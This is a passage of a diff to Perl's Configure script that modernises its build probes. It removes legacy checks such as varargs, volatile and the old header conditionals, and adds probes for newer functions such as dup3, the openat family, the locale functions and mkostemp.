+    if (!__builtin_mul_overflow((int)(uint_max >> 1), 2, &target_int)) {
+        return 1;
+    }
+    if (!__builtin_mul_overflow(uint_max, 1, &target_int)) {
+        return 1;
+    }
+    return 0;
+}
+EOCP
+    set try
+    if eval $compile && $run ./try; then
+        echo "Your C compiler supports __builtin_mul_overflow."
+        val="$define"
+    else
+        echo "Your C compiler doesn't seem to understand __builtin_mul_overflow."
+        val="$undef"
+    fi
+    ;;
+*) val="$d_builtin_mul_overflow" ;;
+esac
+
+set d_builtin_mul_overflow
+eval $setvar
+$rm_try
+
 : Look for GCC-style __builtin_choose_expr
 case "$d_builtin_choose_expr" in
 '')
@@ -11562,124 +11546,9 @@
 eval $setvar
 $rm_try
 
-: see if bzero exists
-set bzero d_bzero
-eval $inlibc
-
-: see if stdarg is available
-echo " "
-if $test `./findhdr stdarg.h`; then
-	echo "<stdarg.h> found." >&4
-	valstd="$define"
-else
-	echo "<stdarg.h> NOT found." >&4
-	valstd="$undef"
-fi
-
-: see if varargs is available
-echo " "
-if $test `./findhdr varargs.h`; then
-	echo "<varargs.h> found." >&4
-else
-	echo "<varargs.h> NOT found, but that's ok (I hope)." >&4
-fi
-
-: set up the varargs testing programs
-$cat > varargs.c <<EOP
-#ifdef I_STDARG
-#include <stdarg.h>
-#endif
-#ifdef I_VARARGS
-#include <varargs.h>
-#endif
-
-#ifdef I_STDARG
-int f(char *p, ...)
-#else
-int f(va_alist)
-va_dcl
-#endif
-{
-	va_list ap;
-#ifndef I_STDARG
-	char *p;
-#endif
-#ifdef I_STDARG
-	va_start(ap,p);
-#else
-	va_start(ap);
-	p = va_arg(ap, char *);
-#endif
-	va_end(ap);
-	return 0;
-}
-EOP
-$cat > varargs <<EOP
-$startsh
-if $cc -c $ccflags -D\$1 varargs.c >/dev/null 2>&1; then
-	echo "true"
-else
-	echo "false"
-fi
-$rm -f varargs$_o
-EOP
-chmod +x varargs
-
-: now check which varargs header should be included
-echo " "
-i_varhdr=''
-val=''
-case "$valstd" in
-"$define")
-	if `./varargs I_STDARG`; then
-		val='stdarg.h'
-	elif `./varargs I_VARARGS`; then
-		val='varargs.h'
-	fi
-	;;
-*)
-	if `./varargs I_VARARGS`; then
-		val='varargs.h'
-	fi
-	;;
-esac
-case "$val" in
-'')
-	echo " "
-	echo "*** WHOA THERE!!! ***" >&4
-	echo "    Your C compiler \"$cc\" doesn't seem to support stdarg or varargs!" >&4
-	case "$knowitall" in
-	'')
-	echo "    I'm giving up; maybe you can try again with a different compiler?" >&4
-		exit 1
-		;;
-	esac
-echo "I could not find the definition for va_dcl... You have problems..." >&4
-	val="$undef"; set i_stdarg; eval $setvar
-	val="$undef"; set i_varargs; eval $setvar
-	;;
-*)
-	set i_varhdr
-	eval $setvar
-	case "$i_varhdr" in
-	stdarg.h)
-		val="$define"; set i_stdarg; eval $setvar
-		val="$undef"; set i_varargs; eval $setvar
-		;;
-	varargs.h)
-		val="$undef"; set i_stdarg; eval $setvar
-		val="$define"; set i_varargs; eval $setvar
-		;;
-	esac
-	echo "We'll include <$i_varhdr> to get va_dcl definition." >&4;;
-esac
-$rm -f varargs*
-
 : see if the Compiler supports C99 variadic macros
-case "$i_stdarg$i_stdlib" in
-    "$define$define")
-    echo "You have <stdarg.h> and <stdlib.h>, so checking for C99 variadic macros." >&4
-    $cat >try.c <<EOCP
+echo "Checking for C99 variadic macros." >&4
+$cat >try.c <<EOCP
 #include <stdio.h>
 #include <stdarg.h>
 
@@ -11692,29 +11561,23 @@
   return 0;
 }
 EOCP
-    set try
-    if eval $compile && $run ./try 2>&1 >/dev/null; then
-	case "`$run ./try`" in
-	    "123 456 789")
-	    echo "You have C99 variadic macros." >&4
-	    d_c99_variadic_macros="$define"
-	    ;;
-	    *)
-	    echo "You don't have functional C99 variadic macros." >&4
-	    d_c99_variadic_macros="$undef"
-	    ;;
-	esac
-    else
-	echo "I couldn't compile and run the test program, so I assume that you don't have functional C99 variadic macros." >&4
+set try
+if eval $compile && $run ./try 2>&1 >/dev/null; then
+    case "`$run ./try`" in
+	"123 456 789")
+	echo "You have C99 variadic macros." >&4
+	d_c99_variadic_macros="$define"
+	;;
+	*)
+	echo "You don't have functional C99 variadic macros." >&4
 	d_c99_variadic_macros="$undef"
-    fi
-    $rm_try
-    ;;
-    *)
-    echo "You don't have <stdarg.h> and <stdlib.h>, so not checking for C99 variadic macros." >&4
+	;;
+    esac
+else
+    echo "I couldn't compile and run the test program, so I assume that you don't have functional C99 variadic macros." >&4
     d_c99_variadic_macros="$undef"
-    ;;
-esac
+fi
+$rm_try
 
 : see if signal is declared as pointer to function returning int or void
 echo " "
@@ -11927,87 +11790,6 @@
 set cbrt d_cbrt
 eval $inlibc
 
-: see if vprintf exists
-echo " "
-if set vprintf val -f d_vprintf; eval $csym; $val; then
-	echo 'vprintf() found.' >&4
-	val="$define"
-	$cat >try.c <<EOF
-#$i_stdarg I_STDARG  /* Only one of these can be defined by i_varhrd */
-#$i_varargs I_VARARGS
-
-#$i_stdlib I_STDLIB
-#$i_unistd I_UNISTD
-
-#ifdef I_STDARG
-#  include <stdarg.h>
-#else /* I_VARARGS */
-#  include <varargs.h>
-#endif
-
-#ifdef I_UNISTD
-#  include <unistd.h>
-#endif
-
-#ifdef I_STDLIB
-#  include <stdlib.h>
-#endif
-
-#include <stdio.h> /* vsprintf prototype */
-
-#ifdef I_STDARG
-void xxx(int n, ...)
-{
-    va_list args;
-    char buf[10];
-    va_start(args, n);
-    exit((unsigned long)vsprintf(buf,"%s",args) > 10L);
-}
-int main() { xxx(1, "foo"); }
-
-#else /* I_VARARGS */
-
-xxx(va_alist)
-va_dcl
-{
-    va_list args;
-    char buf[10];
-    va_start(args);
-    exit((unsigned long)vsprintf(buf,"%s",args) > 10L);
-}
-int main() { xxx("foo"); }
-
-#endif
-
-EOF
-	set try
-	if eval $compile_ok; then
-		if $run ./try; then
-			echo "Your vsprintf() returns (int)." >&4
-			val2="$undef"
-		else
-			echo "Your vsprintf() returns (char*)." >&4
-			val2="$define"
-		fi
-	else
-		echo 'I am unable to compile the vsprintf() test program.' >&4
-		# We shouldn't get here.  If we do, assume the standard signature,
-		# not the old BSD one.
-		echo 'Guessing that vsprintf() returns (int).' >&4
-		val2="$undef"
-	fi
-else
-	echo 'vprintf() NOT found.' >&4
-	val="$undef"
-	val2="$undef"
-fi
-$rm_try
-set d_vprintf
-eval $setvar
-val=$val2
-set d_charvspr
-eval $setvar
-
 : see if chown exists
 set chown d_chown
 eval $inlibc
@@ -12269,7 +12051,6 @@
 *)              echo "No, it doesn't." ;;
 esac
 
-
 : check for const keyword
 echo " "
 echo 'Checking to see if your C compiler knows about "const"...' >&4
@@ -12366,7 +12147,7 @@
 	esac
 	case "$crypt_r_proto" in
 	''|0)	d_crypt_r=undef
- 	        crypt_r_proto=0
+		crypt_r_proto=0
 		echo "Disabling crypt_r, cannot determine prototype." >&4 ;;
 	* )	case "$crypt_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -12423,7 +12204,7 @@
 	esac
 	case "$ctermid_r_proto" in
 	''|0)	d_ctermid_r=undef
- 	        ctermid_r_proto=0
+		ctermid_r_proto=0
 		echo "Disabling ctermid_r, cannot determine prototype." >&4 ;;
 	* )	case "$ctermid_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -12476,7 +12257,7 @@
 	esac
 	case "$ctime_r_proto" in
 	''|0)	d_ctime_r=undef
- 	        ctime_r_proto=0
+		ctime_r_proto=0
 		echo "Disabling ctime_r, cannot determine prototype." >&4 ;;
 	* )	case "$ctime_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -12501,37 +12282,6 @@
 set cuserid d_cuserid
 eval $inlibc
 
-: see if this is a limits.h system
-set limits.h i_limits
-eval $inhdr
-
-: See if number of significant digits in a double precision number is known
-echo " "
-$cat >dbl_dig.c <<EOM
-#$i_limits I_LIMITS
-#$i_float I_FLOAT
-#ifdef I_LIMITS
-#include <limits.h>
-#endif
-#ifdef I_FLOAT
-#include <float.h>
-#endif
-#ifdef DBL_DIG
-printf("Contains DBL_DIG");
-#endif
-EOM
-$cppstdin $cppflags $cppminus < dbl_dig.c >dbl_dig.E 2>/dev/null
-if $contains 'DBL_DIG' dbl_dig.E >/dev/null 2>&1; then
-	echo "DBL_DIG found." >&4
-	val="$define"
-else
-	echo "DBL_DIG NOT found." >&4
-	val="$undef"
-fi
-$rm -f dbl_dig.?
-set d_dbl_dig
-eval $setvar
-
 : see if dbm.h is available
 : see if dbmclose exists
 set dbmclose d_dbmclose
@@ -12704,14 +12454,10 @@
 #include <sys/ndir.h>
 #else
 #ifdef I_SYS_DIR
-#ifdef hp9000s500
-#include <ndir.h>	/* may be wrong in the future */
-#else
 #include <sys/dir.h>
 #endif
 #endif
 #endif
-#endif
 int main() {
 	DIR *dirp = opendir(".");
 	if (dirfd(dirp) >= 0)
@@ -12879,7 +12625,7 @@
 	esac
 	case "$drand48_r_proto" in
 	''|0)	d_drand48_r=undef
- 	        drand48_r_proto=0
+		drand48_r_proto=0
 		echo "Disabling drand48_r, cannot determine prototype." >&4 ;;
 	* )	case "$drand48_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -12909,6 +12655,34 @@
 set dup2 d_dup2
 eval $inlibc
 
+: see if dup3 exists
+set dup3 d_dup3
+eval $inlibc
+
+: see if this is an xlocale.h system
+set xlocale.h i_xlocale
+eval $inhdr
+
+: see if newlocale exists
+set newlocale d_newlocale
+eval $inlibc
+
+: see if freelocale exists
+set freelocale d_freelocale
+eval $inlibc
+
+: see if uselocale exists
+set uselocale d_uselocale
+eval $inlibc
+
+: see if duplocale exists
+set duplocale d_duplocale
+eval $inlibc
+
+: see if querylocale exists
+set querylocale d_querylocale
+eval $inlibc
+
 : see if eaccess exists
 set eaccess d_eaccess
 eval $inlibc
@@ -12966,7 +12740,7 @@
 	esac
 	case "$endgrent_r_proto" in
 	''|0)	d_endgrent_r=undef
- 	        endgrent_r_proto=0
+		endgrent_r_proto=0
 		echo "Disabling endgrent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endgrent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13019,7 +12793,7 @@
 	esac
 	case "$endhostent_r_proto" in
 	''|0)	d_endhostent_r=undef
- 	        endhostent_r_proto=0
+		endhostent_r_proto=0
 		echo "Disabling endhostent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endhostent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13068,7 +12842,7 @@
 	esac
 	case "$endnetent_r_proto" in
 	''|0)	d_endnetent_r=undef
- 	        endnetent_r_proto=0
+		endnetent_r_proto=0
 		echo "Disabling endnetent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endnetent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13117,7 +12891,7 @@
 	esac
 	case "$endprotoent_r_proto" in
 	''|0)	d_endprotoent_r=undef
- 	        endprotoent_r_proto=0
+		endprotoent_r_proto=0
 		echo "Disabling endprotoent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endprotoent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13254,7 +13028,7 @@
 	esac
 	case "$endpwent_r_proto" in
 	''|0)	d_endpwent_r=undef
- 	        endpwent_r_proto=0
+		endpwent_r_proto=0
 		echo "Disabling endpwent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endpwent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13303,7 +13077,7 @@
 	esac
 	case "$endservent_r_proto" in
 	''|0)	d_endservent_r=undef
- 	        endservent_r_proto=0
+		endservent_r_proto=0
 		echo "Disabling endservent_r, cannot determine prototype." >&4 ;;
 	* )	case "$endservent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -13523,12 +13297,7 @@
 #ifdef I_UNISTD
 #include <unistd.h>
 #endif
-#$i_string I_STRING
-#ifdef I_STRING
 #include <string.h>
-#else
-#include <strings.h>
-#endif
 $signal_t blech(int x) { exit(3); }
 EOCP
 	$cat >> try.c <<'EOCP'
@@ -13894,7 +13663,7 @@
 EOP
 	set try
 	if eval $compile && $to try.c; then
- 		case `$run ./try` in
+		case `$run ./try` in
 		Pass_changed)
 			echo "Increasing ptr in your stdio decreases cnt by the same amount.  Good." >&4
 			d_stdio_ptr_lval_sets_cnt="$define" ;;
@@ -13968,8 +13737,6 @@
 set d_faststdio
 eval $setvar
 
-
-
 : see if fchdir exists
 set fchdir d_fchdir
 eval $inlibc
@@ -13978,6 +13745,22 @@
 set fchmod d_fchmod
 eval $inlibc
 
+: check for openat, unlinkat, renameat, linkat, fchmodat
+set openat d_openat
+eval $inlibc
+
+set unlinkat d_unlinkat
+eval $inlibc
+
+set renameat d_renameat
+eval $inlibc
+
+set linkat d_linkat
+eval $inlibc
+
+set fchmodat d_fchmodat
+eval $inlibc
+
 : see if fchown exists
 set fchown d_fchown
 eval $inlibc
@@ -14179,17 +13962,10 @@
 set fp_class d_fp_class
 eval $inlibc
 
-: see if this is a math.h system
-set math.h i_math
-eval $inhdr
-
 : check for fpclassify
 echo "Checking to see if you have fpclassify..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return fpclassify(1.0) == FP_NORMAL ? 0 : 1; }
 EOCP
 set try
@@ -14254,30 +14030,6 @@
 set d_fpos64_t
 eval $setvar
 
-: see if this is an xlocale.h system
-set xlocale.h i_xlocale
-eval $inhdr
-
-: see if newlocale exists
-set newlocale d_newlocale
-eval $inlibc
-
-: see if freelocale exists
-set freelocale d_freelocale
-eval $inlibc
-
-: see if uselocale exists
-set uselocale d_uselocale
-eval $inlibc
-
-: see if duplocale exists
-set duplocale d_duplocale
-eval $inlibc
-
-: see if querylocale exists
-set querylocale d_querylocale
-eval $inlibc
-
 : see if frexpl exists
 set frexpl d_frexpl
 eval $inlibc
@@ -14323,7 +14075,6 @@
 set fstatvfs d_fstatvfs
 eval $inlibc
 
-
 : see if fsync exists
 set fsync d_fsync
 eval $inlibc
@@ -14512,7 +14263,7 @@
 	esac
 	case "$getgrent_r_proto" in
 	''|0)	d_getgrent_r=undef
- 	        getgrent_r_proto=0
+		getgrent_r_proto=0
 		echo "Disabling getgrent_r, cannot determine prototype." >&4 ;;
 	* )	case "$getgrent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14565,7 +14316,7 @@
 	esac
 	case "$getgrgid_r_proto" in
 	''|0)	d_getgrgid_r=undef
- 	        getgrgid_r_proto=0
+		getgrgid_r_proto=0
 		echo "Disabling getgrgid_r, cannot determine prototype." >&4 ;;
 	* )	case "$getgrgid_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14622,7 +14373,7 @@
 	esac
 	case "$getgrnam_r_proto" in
 	''|0)	d_getgrnam_r=undef
- 	        getgrnam_r_proto=0
+		getgrnam_r_proto=0
 		echo "Disabling getgrnam_r, cannot determine prototype." >&4 ;;
 	* )	case "$getgrnam_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14800,7 +14551,7 @@
 	esac
 	case "$gethostbyaddr_r_proto" in
 	''|0)	d_gethostbyaddr_r=undef
- 	        gethostbyaddr_r_proto=0
+		gethostbyaddr_r_proto=0
 		echo "Disabling gethostbyaddr_r, cannot determine prototype." >&4 ;;
 	* )	case "$gethostbyaddr_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14849,7 +14600,7 @@
 	esac
 	case "$gethostbyname_r_proto" in
 	''|0)	d_gethostbyname_r=undef
- 	        gethostbyname_r_proto=0
+		gethostbyname_r_proto=0
 		echo "Disabling gethostbyname_r, cannot determine prototype." >&4 ;;
 	* )	case "$gethostbyname_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14910,7 +14661,7 @@
 	esac
 	case "$gethostent_r_proto" in
 	''|0)	d_gethostent_r=undef
- 	        gethostent_r_proto=0
+		gethostent_r_proto=0
 		echo "Disabling gethostent_r, cannot determine prototype." >&4 ;;
 	* )	case "$gethostent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -14976,7 +14727,7 @@
 	esac
 	case "$getlogin_r_proto" in
 	''|0)	d_getlogin_r=undef
- 	        getlogin_r_proto=0
+		getlogin_r_proto=0
 		echo "Disabling getlogin_r, cannot determine prototype." >&4 ;;
 	* )	case "$getlogin_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15069,7 +14820,7 @@
 	esac
 	case "$getnetbyaddr_r_proto" in
 	''|0)	d_getnetbyaddr_r=undef
- 	        getnetbyaddr_r_proto=0
+		getnetbyaddr_r_proto=0
 		echo "Disabling getnetbyaddr_r, cannot determine prototype." >&4 ;;
 	* )	case "$getnetbyaddr_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15122,7 +14873,7 @@
 	esac
 	case "$getnetbyname_r_proto" in
 	''|0)	d_getnetbyname_r=undef
- 	        getnetbyname_r_proto=0
+		getnetbyname_r_proto=0
 		echo "Disabling getnetbyname_r, cannot determine prototype." >&4 ;;
 	* )	case "$getnetbyname_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15183,7 +14934,7 @@
 	esac
 	case "$getnetent_r_proto" in
 	''|0)	d_getnetent_r=undef
- 	        getnetent_r_proto=0
+		getnetent_r_proto=0
 		echo "Disabling getnetent_r, cannot determine prototype." >&4 ;;
 	* )	case "$getnetent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15271,7 +15022,7 @@
 	esac
 	case "$getprotobyname_r_proto" in
 	''|0)	d_getprotobyname_r=undef
- 	        getprotobyname_r_proto=0
+		getprotobyname_r_proto=0
 		echo "Disabling getprotobyname_r, cannot determine prototype." >&4 ;;
 	* )	case "$getprotobyname_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15320,7 +15071,7 @@
 	esac
 	case "$getprotobynumber_r_proto" in
 	''|0)	d_getprotobynumber_r=undef
- 	        getprotobynumber_r_proto=0
+		getprotobynumber_r_proto=0
 		echo "Disabling getprotobynumber_r, cannot determine prototype." >&4 ;;
 	* )	case "$getprotobynumber_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15373,7 +15124,7 @@
 	esac
 	case "$getprotoent_r_proto" in
 	''|0)	d_getprotoent_r=undef
- 	        getprotoent_r_proto=0
+		getprotoent_r_proto=0
 		echo "Disabling getprotoent_r, cannot determine prototype." >&4 ;;
 	* )	case "$getprotoent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15447,7 +15198,7 @@
 	esac
 	case "$getpwent_r_proto" in
 	''|0)	d_getpwent_r=undef
- 	        getpwent_r_proto=0
+		getpwent_r_proto=0
 		echo "Disabling getpwent_r, cannot determine prototype." >&4 ;;
 	* )	case "$getpwent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15500,7 +15251,7 @@
 	esac
 	case "$getpwnam_r_proto" in
 	''|0)	d_getpwnam_r=undef
- 	        getpwnam_r_proto=0
+		getpwnam_r_proto=0
 		echo "Disabling getpwnam_r, cannot determine prototype." >&4 ;;
 	* )	case "$getpwnam_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15553,7 +15304,7 @@
 	esac
 	case "$getpwuid_r_proto" in
 	''|0)	d_getpwuid_r=undef
- 	        getpwuid_r_proto=0
+		getpwuid_r_proto=0
 		echo "Disabling getpwuid_r, cannot determine prototype." >&4 ;;
 	* )	case "$getpwuid_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15616,7 +15367,7 @@
 	esac
 	case "$getservbyname_r_proto" in
 	''|0)	d_getservbyname_r=undef
- 	        getservbyname_r_proto=0
+		getservbyname_r_proto=0
 		echo "Disabling getservbyname_r, cannot determine prototype." >&4 ;;
 	* )	case "$getservbyname_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15665,7 +15416,7 @@
 	esac
 	case "$getservbyport_r_proto" in
 	''|0)	d_getservbyport_r=undef
- 	        getservbyport_r_proto=0
+		getservbyport_r_proto=0
 		echo "Disabling getservbyport_r, cannot determine prototype." >&4 ;;
 	* )	case "$getservbyport_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15718,7 +15469,7 @@
 	esac
 	case "$getservent_r_proto" in
 	''|0)	d_getservent_r=undef
- 	        getservent_r_proto=0
+		getservent_r_proto=0
 		echo "Disabling getservent_r, cannot determine prototype." >&4 ;;
 	* )	case "$getservent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15776,7 +15527,7 @@
 	esac
 	case "$getspnam_r_proto" in
 	''|0)	d_getspnam_r=undef
- 	        getspnam_r_proto=0
+		getspnam_r_proto=0
 		echo "Disabling getspnam_r, cannot determine prototype." >&4 ;;
 	* )	case "$getspnam_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15840,7 +15591,7 @@
 	esac
 	case "$gmtime_r_proto" in
 	''|0)	d_gmtime_r=undef
- 	        gmtime_r_proto=0
+		gmtime_r_proto=0
 		echo "Disabling gmtime_r, cannot determine prototype." >&4 ;;
 	* )	case "$gmtime_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -15923,39 +15674,6 @@
 set ilogbl d_ilogbl
 eval $inlibc
 
-: index or strchr
-echo " "
-if set index val -f; eval $csym; $val; then
-	if set strchr val -f d_strchr; eval $csym; $val; then
-		if $contains strchr "$strings" >/dev/null 2>&1 ; then
-			val="$define"
-			vali="$undef"
-			echo "strchr() found." >&4
-		else
-			val="$undef"
-			vali="$define"
-			echo "index() found." >&4
-		fi
-	else
-		val="$undef"
-		vali="$define"
-		echo "index() found." >&4
-	fi
-else
-	if set strchr val -f d_strchr; eval $csym; $val; then
-		val="$define"
-		vali="$undef"
-		echo "strchr() found." >&4
-	else
-		echo "No index() or strchr() found!" >&4
-		val="$undef"
-		vali="$undef"
-	fi
-fi
-set d_strchr; eval $setvar
-val="$vali"
-set d_index; eval $setvar
-
 : check whether inet_aton exists
 set inet_aton d_inetaton
 eval $inlibc
@@ -16024,10 +15742,7 @@
 : check for isfinite
 echo "Checking to see if you have isfinite..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return isfinite(0.0); }
 EOCP
 set try
@@ -16049,10 +15764,7 @@
 : check for isinf
 echo "Checking to see if you have isinf..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return isinf(0.0); }
 EOCP
 set try
@@ -16074,10 +15786,7 @@
 : check for isless
 echo "Checking to see if you have isless..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return isless(0.0); }
 EOCP
 set try
@@ -16095,10 +15804,7 @@
 : check for isnan
 echo "Checking to see if you have isnan..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return isnan(0.0); }
 EOCP
 set try
@@ -16120,10 +15826,7 @@
 : check for isnormal
 echo "Checking to see if you have isnormal..." >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
-#ifdef I_MATH
 #include <math.h>
-#endif
 int main() { return isnormal(0.0); }
 EOCP
 set try
@@ -16210,14 +15913,8 @@
 : See if number of significant digits in a double precision number is known
 echo " "
 $cat >ldbl_dig.c <<EOM
-#$i_limits I_LIMITS
-#$i_float I_FLOAT
-#ifdef I_LIMITS
 #include <limits.h>
-#endif
-#ifdef I_FLOAT
 #include <float.h>
-#endif
 #ifdef LDBL_DIG
 printf("Contains LDBL_DIG");
 #endif
@@ -16244,11 +15941,9 @@
 
 : check to see if math.h defines _LIB_VERSION
 d_libm_lib_version="$undef"
-case $i_math in
-    $define)
-	echo " "
-	echo "Checking to see if your libm supports _LIB_VERSION..." >&4
-	$cat >try.c <<EOCP
+echo " "
+echo "Checking to see if your libm supports _LIB_VERSION..." >&4
+$cat >try.c <<EOCP
 #include <unistd.h>
 #include <math.h>
 int main (int argc, char *argv[])
@@ -16257,19 +15952,16 @@
     return (0);
     } /* main */
 EOCP
-	set try
-	if eval $compile; then
-	    foo=`$run ./try`
-	    echo "Yes, it does ($foo)" >&4
-	    d_libm_lib_version="$define"
-	else
-	    echo "No, it does not (probably harmless)" >&4
-	    fi
-	$rm_try
-	;;
+set try
+if eval $compile; then
+    foo=`$run ./try`
+    echo "Yes, it does ($foo)" >&4
+    d_libm_lib_version="$define"
+else
+    echo "No, it does not (probably harmless)" >&4
+    fi
+$rm_try
 
-    esac
-
 : see if link exists
 set link d_link
 eval $inlibc
@@ -16290,6 +15982,10 @@
 set llroundl d_llroundl
 eval $inlibc
 
+: see if localeconv_l exists
+set localeconv_l d_localeconv_l
+eval $inlibc
+
 : see if localtime_r exists
 set localtime_r d_localtime_r
 eval $inlibc
@@ -16314,7 +16010,7 @@
 	esac
 	case "$localtime_r_proto" in
 	''|0)	d_localtime_r=undef
- 	        localtime_r_proto=0
+		localtime_r_proto=0
 		echo "Disabling localtime_r, cannot determine prototype." >&4 ;;
 	* )	case "$localtime_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -16346,7 +16042,6 @@
 #$i_unistd	I_UNISTD
 #$i_time	I_TIME
 #$i_stdlib	I_STDLIB
-#$i_string	I_STRING
 #$i_malloc	I_MALLOC
 #ifdef I_SYS_TYPES
 #  include <sys/types.h>
@@ -16360,11 +16055,7 @@
 #ifdef I_STDLIB
 #include <stdlib.h>
 #endif
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
+#include <string.h>
 #ifdef I_MALLOC
 #  include <malloc.h>
 #endif
@@ -16466,6 +16157,14 @@
 set mblen d_mblen
 eval $inlibc
 
+: see if mbrlen exists
+set mbrlen d_mbrlen
+eval $inlibc
+
+: see if mbrtowc exists
+set mbrtowc d_mbrtowc
+eval $inlibc
+
 : see if mbstowcs exists
 set mbstowcs d_mbstowcs
 eval $inlibc
@@ -16474,30 +16173,14 @@
 set mbtowc d_mbtowc
 eval $inlibc
 
-: see if memchr exists
-set memchr d_memchr
-eval $inlibc
-
-: see if memcmp exists
-set memcmp d_memcmp
-eval $inlibc
-
-: see if memcpy exists
-set memcpy d_memcpy
-eval $inlibc
-
 : see if memmem exists
 set memmem d_memmem
 eval $inlibc
 
-: see if memmove exists
-set memmove d_memmove
+: see if memrchr exists
+set memrchr d_memrchr
 eval $inlibc
 
-: see if memset exists
-set memset d_memset
-eval $inlibc
-
 : see if mkdir exists
 set mkdir d_mkdir
 eval $inlibc
@@ -16510,6 +16193,10 @@
 set mkfifo d_mkfifo
 eval $inlibc
 
+: see if mkostemp exists
+set mkostemp d_mkostemp
+eval $inlibc
+
 : see if mkstemp exists
 set mkstemp d_mkstemp
 eval $inlibc
@@ -16522,7 +16209,7 @@
 set mktime d_mktime
 eval $inlibc
 
-: see if this is a sys/mman.h system
+: see if sys/mman.h has to be included
 set sys/mman.h i_sysmman
 eval $inhdr
 
@@ -16547,8 +16234,6 @@
 	;;
 esac
 
-
-
 : see if sqrtl exists
 set sqrtl d_sqrtl
 eval $inlibc
@@ -16567,7 +16252,7 @@
 
 : see if prototype for modfl is available
 echo " "
-set d_modflproto modfl $i_math math.h
+set d_modflproto modfl define math.h
 eval $hasproto
 
 if $test "$uselongdouble" = "$define"; then
@@ -16678,7 +16363,6 @@
 *)              echo "No, it doesn't." ;;
 esac
 
-
 : see if msync exists
 set msync d_msync
 eval $inlibc
@@ -16691,6 +16375,10 @@
 set nan d_nan
 eval $inlibc
 
+: see if nanosleep exists
+set nanosleep d_nanosleep
+eval $inlibc
+
 : see if nearbyint exists
 set nearbyint d_nearbyint
 eval $inlibc
@@ -16719,37 +16407,6 @@
 set quadmath.h i_quadmath
 eval $inhdr
 
-: check for volatile keyword
-echo " "
-echo 'Checking to see if your C compiler knows about "volatile"...' >&4
-$cat >try.c <<'EOCP'
-int main()
-{
-	typedef struct _goo_struct goo_struct;
-	goo_struct * volatile goo = ((goo_struct *)0);
-	struct _goo_struct {
-		long long_int;
-		int reg_int;
-		char char_var;
-	};
-	typedef unsigned short foo_t;
-	char *volatile foo;
-	volatile int bar;
-	volatile foo_t blech;
-	foo = foo;
-}
-EOCP
-if $cc -c $ccflags try.c >/dev/null 2>&1 ; then
-	val="$define"
-	echo "Yup, it does."
-else
-	val="$undef"
-	echo "Nope, it doesn't."
-fi
-set d_volatile
-eval $setvar
-$rm_try
-
 : Check basic sizes
 echo " "
 $echo "Choosing the C types to be used for Perl's internal types..." >&4
@@ -16943,10 +16600,6 @@
 esac
 
 $echo "Checking how many bits of your UVs your NVs can preserve..." >&4
-: volatile so that the compiler has to store it out to memory.
-if test X"$d_volatile" = X"$define"; then
-	volatile=volatile
-fi
 $cat <<EOP >try.c
 #include <stdio.h>
 #$i_stdlib I_STDLIB
@@ -16956,7 +16609,8 @@
 #include <sys/types.h>
 #include <signal.h>
 #ifdef SIGFPE
-$volatile int bletched = 0;
+/* volatile so that the compiler has to store it out to memory */
+volatile int bletched = 0;
 $signal_t blech(int s) { bletched = 1; }
 #endif
 int main() {
@@ -17007,10 +16661,6 @@
 $rm_try
 
 $echo "Checking to find the largest integer value your NVs can hold..." >&4
-: volatile so that the compiler has to store it out to memory.
-if test X"$d_volatile" = X"$define"; then
-	volatile=volatile
-fi
 $cat <<EOP >try.c
 #include <stdio.h>
 
@@ -17022,10 +16672,11 @@
   int count = 1;
 
   while(count < 256) {
-    $volatile NV up = value + 1.0;
-    $volatile NV negated = -value;
-    $volatile NV down = negated - 1.0;
-    $volatile NV got_up = up - value;
+    /* volatile so that the compiler has to store it out to memory */
+    volatile NV up = value + 1.0;
+    volatile NV negated = -value;
+    volatile NV down = negated - 1.0;
+    volatile NV got_up = up - value;
     int up_good = got_up == 1.0;
     int got_down = down - negated;
     int down_good = got_down == -1.0;
